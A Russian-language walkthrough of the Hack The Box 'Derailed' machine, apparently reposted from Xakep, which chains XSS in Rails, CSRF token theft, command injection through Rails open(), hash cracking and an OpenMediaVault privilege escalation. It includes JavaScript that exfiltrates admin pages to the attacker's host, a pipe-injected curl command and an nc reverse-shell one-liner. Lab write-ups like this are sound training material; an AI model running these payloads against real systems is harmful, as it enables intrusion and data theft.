Хакер - HTB Derailed. Пентестим веб-приложение на Ruby on Rails

Хакер - HTB Derailed. Пентестим веб-приложение на Ruby on Rails

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • XSS в Ruby on Rails
  • Ruby on Rails open RCE
  • Продвижение
  • Локальное повышение привилегий

В этом рай­тапе я покажу при­емы, которые исполь­зуют­ся при ата­ках на веб‑при­ложе­ния, в пер­вую оче­редь — работа­ющие на Ruby on Rails. Нач­нем со ска­ниро­вания сай­та, най­дем и про­экс­плу­ати­руем XSS, затем получим дос­туп к хос­ту через RCE. Для повыше­ния при­виле­гий на ата­куемой машине раз­берем­ся с OpenMediaVault.

На­шей целью будет зах­ват тре­ниро­воч­ной машины Derailed с пло­щад­ки Hack The Box. Уро­вень слож­ности отме­чен как «безум­ный».

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.190 derailed.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Nmap нашел два откры­тых пор­та: 22 — служ­ба OpenSSH 8.4p1 и 3000 — веб‑сер­вер Nginx 1.18.0. Оче­вид­но, что начинать сто­ит с осмотра веб‑при­ложе­ния.

Глав­ная стра­ница сай­та derailed.htb

На сай­те даже без регис­тра­ции можем соз­дать замет­ку.

Соз­данная замет­ка

Об­ратим вни­мание, что обра­щение к толь­ко что соз­данной замет­ке про­исхо­дит как к фай­лу в URL, отсю­да мож­но сде­лать вывод об исполь­зовании какого‑то API. Прос­каниру­ем кор­невой каталог сай­та по сло­варю с раз­ными наз­вани­ями фай­лов и наз­вани­ями конеч­ных точек API. Я сде­лаю это с помощью feroxbuster.

Справка: сканирование веба c feroxbuster

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearchDIRB или ffuf. Я пред­почитаю feroxbuster.

При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -u — URL;
  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -d — глу­бина ска­ниро­вания.

За­пус­каем:

feroxbuster -u http://10.10.11.190:3000 -w files_interesting.txt -t 256

Ре­зуль­тат ска­ниро­вания катало­гов с помощью feroxbuster

Пе­ребо­ром мы наш­ли стра­ницу со свой­ства­ми веб‑фрей­мвор­ка Ruby on Rails — /rails/info/properties.

Свой­ства Ruby on Rails

Те­перь мож­но не ска­ниро­вать катало­ги и фай­лы, так как Rails пре­дос­тавит нам всё в удоб­ном виде на одной стра­нице: /rails/info/routes.

Ко­неч­ные точ­ки сай­та

ТОЧКА ВХОДА

В спис­ке сра­зу отме­чаем стра­ницу адми­нис­тра­тора /administration, которая недос­тупна даже авто­ризо­ван­ному поль­зовате­лю.

Ошиб­ка при обра­щении к админке сай­та

Пер­вым делом про­буем най­ти замет­ки дру­гих поль­зовате­лей. Для это­го будем прос­то переби­рать номер замет­ки с помощью Burp Intruder.

Burp Intruder — вклад­ка Positions
Burp Intruder — вклад­ка Payloads

На­ходим все­го одну замет­ку, которая ничего нам не дает.

Ре­зуль­тат перебо­ра заметок

Так­же в спис­ке конеч­ных точек обра­щаем вни­мание на фор­му отче­та.

Стра­ница /report

От­прав­ляем любое сооб­щение и видим, что оно дос­тавля­ется адми­нис­тра­тору, а зна­чит, будем готовить­ся искать XSS.

Ре­гис­тра­ция поль­зовате­ля с длин­ным име­нем

Пот­ратив мно­го вре­мени и ничего не най­дя, я вер­нулся к фор­ме авто­риза­ции и спус­тя еще какое‑то вре­мя узнал, что фор­ма не дает ввес­ти в поле име­ни поль­зовате­ля боль­ше 48 сим­волов. Одна­ко мы можем это сде­лать с помощью Burp, обхо­дя JS-скрип­ты.

Пе­репол­нение поля created

Про­дол­жая изу­чать сайт, я обна­ружил перепол­нение в поле created, где рань­ше отоб­ражалась дата соз­дания замет­ки.

Ин­форма­ция о замет­ке

Так как кон­троль это­го поля поль­зовате­лем не пре­дус­матри­вал­ся, воз­можно, и про­верок там никаких нет. Сно­ва переб­рав раз­ные наг­рузки по сло­варю, я ничего не получил и пошел искать XSS для Ruby on Rails на сай­те CVE. И мне уда­лось най­ти под­ходящую уяз­вимость. Она содер­жится в модуле Rails::Html::SafeListSanitizer.

Спи­сок уяз­вимос­тей Ruby on Rails

Возь­мем из отче­та готовую наг­рузку:

<select<style/>W<xmp<script>alert(1)</script>

И отпра­вим ее пос­ле 48-го сим­вола в име­ни поль­зовате­ля при регис­тра­ции. Но ничего не про­изош­ло.

Тес­тирова­ние наг­рузки XSS

Уп­ростим наг­рузку и пов­торим тест:

<select<style/><script>alert(1)</script>

В исходном коде стра­ницы все отоб­ража­ется кор­рек­тно, но алерт не появ­ляет­ся.

Тес­тирова­ние наг­рузки XSS

Поп­робу­ем выпол­нить зап­рос на свой сер­вер через заг­рузку кар­тинки.

<select<style/><img src='http://10.10.14.6/test'>

Тес­тирова­ние наг­рузки
Ло­ги лис­тенера nc

Наг­рузка отра­бота­ла, так что давай ее рас­кру­чивать.

ТОЧКА ОПОРЫ

XSS в Ruby on Rails

До­бить­ся выпол­нения скрип­тов было прос­то, для это­го исполь­зуем извес­тный метод через параметр onerror. Код из него исполня­ется в том слу­чае, ког­да бра­узер не может заг­рузить кар­тинку. Для про­вер­ки выпол­няем JS-код, который выпол­нит зап­рос на наш сер­вер.

var url = "http://10.10.14.6/script_test";

var xhr = new XMLHttpRequest();

xhr.open('GET', url, false);

xhr.send(null);

Скрипт кодиру­ем в сharCode с помощью CyberChef (в кодиров­ке Base64 код не выпол­нился). Отправ­ляем его в наг­рузке и получа­ем два зап­роса: один для кар­тинки и вто­рой из JS-кода.

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<select<style/><img src='http://10.10.14.6/none_page' onerror="eval(String.fromCharCode(118,97,.....,41,59))">

Наг­рузка XSS на сай­те
Ло­ги веб‑сер­вера

Наг­рузка отра­бота­ла, а так как куки в зап­росе не переда­ются, единс­твен­ный вари­ант экс­плу­ата­ции — получать дос­туп к адми­нис­тра­тив­ным стра­ницам (ведь код будет выпол­нять­ся у адми­нис­тра­тора) и эксфиль­тро­вать их содер­жимое к себе на сер­вер.

Сле­дующий код выпол­нит зап­рос на стра­ницу /administration, ответ закоди­рует в Base64 и кодиров­ку URL и отпра­вит на наш сер­вер в качес­тве парамет­ра зап­роса.

var url = "http://derailed.htb:3000/administration";

var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function() {

if (xhr.readyState == XMLHttpRequest.DONE) {

fetch("http://10.10.14.6/?"+ encodeURI(btoa(xhr.responseText)))

}

}

xhr.open('GET', url, true);

xhr.send(null);

Ко­диру­ем через CyberChef и отправ­ляем на сайт. Затем соз­даем отчет для адми­нис­тра­тора и монито­рим логи веб‑сер­вера. Получив желан­ный зап­рос, декоди­руем Base64 и откры­ваем стра­ницу в бра­узе­ре. Стра­ница выг­лядит нек­расиво, так как JS-скрип­ты не заг­ружа­ются.

Стра­ница administration

Рас­смот­рев под­робнее ссыл­ку Download, отме­чаем, что это HTML-фор­ма c нес­коль­кими парамет­рами.

Ис­ходный код стра­ницы

Ис­поль­зует­ся токен CSRF, поэто­му выпол­нить зап­рос без посеще­ния стра­ницы /administration не получит­ся. Так­же в исходном коде уже задан ска­чива­емый файл. Здесь приш­лось дол­го возить­ся и с под­сказ­кой «смот­реть пос­ледние CVE». В ито­ге я вышел на уяз­вимость фун­кции open в Ruby on Rails. Логич­но, ведь как‑то же нуж­но открыть файл.

Экс­пло­ит для уяз­вимос­ти в фун­кции open

Ruby on Rails open RCE

Пер­вым делом нам нуж­но решить проб­лему с токеном CSRF. Для это­го обра­щаем­ся к стра­нице /administration и извле­каем из отве­та зна­чение эле­мен­та с ID authenticity_token. Пос­ле это­го переда­ем его на наш сер­вер.

var url = "http://derailed.htb:3000/administration";

var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function() {

if (xhr.readyState == XMLHttpRequest.DONE) {

var page = new DOMParser().parseFromString(xhr.responseText, 'text/html');

var token = page.getElementById('authenticity_token').value;

var url2 = "http://10.10.14.44/?"+ encodeURI(token);

var xhr2 = new XMLHttpRequest();

xhr2.open('GET', url2, false);

xhr2.send(null);

}

}

xhr.open('GET', url, true);

xhr.send(null);

Ло­ги веб‑сер­вера

У нас получи­лось извлечь токен, теперь поп­робу­ем про­экс­плу­ати­ровать уяз­вимость. Смысл в том, что­бы в име­ни фай­ла передать кон­вей­ер команд. Для тес­та выпол­ним зап­рос с помощью curl:

|curl http://10.10.14.44/test_rce

Сле­дующий скрипт выпол­нит зап­рос к стра­нице /administration, сде­лает задер­жку две секун­ды для ожи­дания заг­рузки стра­ницы, получит CSRF-токен и соз­даст новую HTML-фор­му с теми же парамет­рами, что и в легитим­ной фор­ме для ска­чива­ния фай­лов. Затем запол­няем фор­му извле­чен­ным CSRF-токеном и наг­рузкой.

var xmlHttp = new XMLHttpRequest();

xmlHttp.open("GET", "http://derailed.htb:3000/administration", true);

xmlHttp.send(null);

setTimeout(function() {

var doc = new DOMParser().parseFromString(xmlHttp.responseText, 'text/html');

var token = doc.getElementById('authenticity_token').value;

var newform = new DOMParser().parseFromString('<form id="rform" method="post" action="/administration/reports"> <input type="hidden" name="authenticity_token" id="authenticity_token" value="placeholder" autocomplete="off"> <input id="report_log" type="text" class="form-control" name="report_log" value="placeholder" hidden=""> <button name="button" type="submit">Submit</button>', 'text/html');

document.body.append(newform.forms.rform);

document.getElementById('rform').elements.report_log.value = '|curl http://10.10.14.44/test_rce';

document.getElementById('rform').elements.authenticity_token.value = token;

document.getElementById('rform').submit();

}, 2000);

Пос­ле отправ­ки монито­рим логи веб‑сер­вера и видим зап­рос из наг­рузки для фун­кции open.

Ло­ги веб‑сер­вера

Наг­рузка отра­бота­ла, поэто­му запус­каем лис­тенер pwncat-cs -lp 4321 и кида­ем реверс‑шелл:

|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.44 4321 >/tmp/f

Сес­сия поль­зовате­ля rails

По­лучив бэк­коннект, забира­ем флаг поль­зовате­ля в его домаш­нем катало­ге.

Флаг поль­зовате­ля

ПРОДВИЖЕНИЕ

Для прод­вижения к дру­гому поль­зовате­лю сто­ит поис­кать учет­ные дан­ные. Так как в сис­теме есть веб‑при­ложе­ние с базой дан­ных, это наша пер­вая цель. В катало­ге сай­та находим файл sqlite3 и ска­чива­ем на свой компь­ютер.

Заг­рузка фай­ла базы дан­ных

За­тем откры­ваем файл для ана­лиза. Я исполь­зую для это­го DB Browser. Выбира­ем таб­лицу users, где и находим двух поль­зовате­лей, а так­же bcrypt-хеши их паролей.

Со­дер­жимое таб­лицы users

От­прав­ляем хеши на перебор с помощью hashcat, ука­зывая режим 3200 (параметр -m).

hashcat -a 0 -m 3200 3200_hash.txt rockyou.txt

Ре­зуль­тат перебо­ра хешей

По­луча­ем один пароль. Оста­лось най­ти поль­зовате­ля. Для это­го из фай­ла /etc/passwd получим всех поль­зовате­лей с активной коман­дной обо­лоч­кой.

cat /etc/passwd | grep -v 'nologin\|false'

Поль­зовате­ли с активной коман­дной обо­лоч­кой

Про­буем по поряд­ку добавить получен­ный пароль и в ито­ге авто­ризу­емся от име­ни дру­гого поль­зовате­ля: openmediavault-webgui.

Сес­сия поль­зовате­ля openmediavault-webgui

 ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

OpenMediaVault — это решение для сетево­го хра­нили­ща на Linux. Оно под­держи­вает такие сер­висы, как SSH, (S)FTP, SMB/CIFS, RSync и мно­гие дру­гие. И сей­час мы находим­ся в кон­тек­сте поль­зовате­ля служ­бы OpenMediaVault. Пер­вым делом прос­мотрим файл нас­тро­ек /etc/openmediavault/config.xml.

Со­дер­жимое фай­ла config.xml

Из инте­рес­ного наб­люда­ем толь­ко нас­трой­ки для дос­тупа к веб‑сер­веру, а так­же, что очень инте­рес­но, нас­трой­ки для дос­тупа по SSH. Так как мы работа­ем от име­ни поль­зовате­ля служ­бы, можем вно­сить изме­нения в файл с нас­трой­ками.

Пра­ва на файл нас­тро­ек OpenMediaVault

Да­вай вне­сем в нас­трой­ки пару изме­нений и раз­решим под­клю­чение с при­ват­ным клю­чом по SSH. Под­робно об этом написа­но на фо­руме. Спер­ва генери­руем пару SSH-клю­чей.

ssh-keygen -t rsa

ssh-keygen -e -f id_rsa.pub

Те­перь откры­ваем нас­трой­ки в редак­торе nano (да, pwncat это поз­воля­ет сде­лать!) и меня­ем запись для тес­тового поль­зовате­ля, добав­ляя пуб­личный ключ.

Из­менен­ная запись в фай­ле кон­фигура­ций

Те­перь при­меним изме­нения для SSH.

/usr/sbin/omv-rpc -u admin "config" "applyChanges" "{"modules":["ssh"],"force":true}"

При­мене­ние нас­тро­ек

И под­клю­чаем­ся с при­ват­ным клю­чом!

Флаг рута

Флаг рута у нас, а зна­чит, машина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page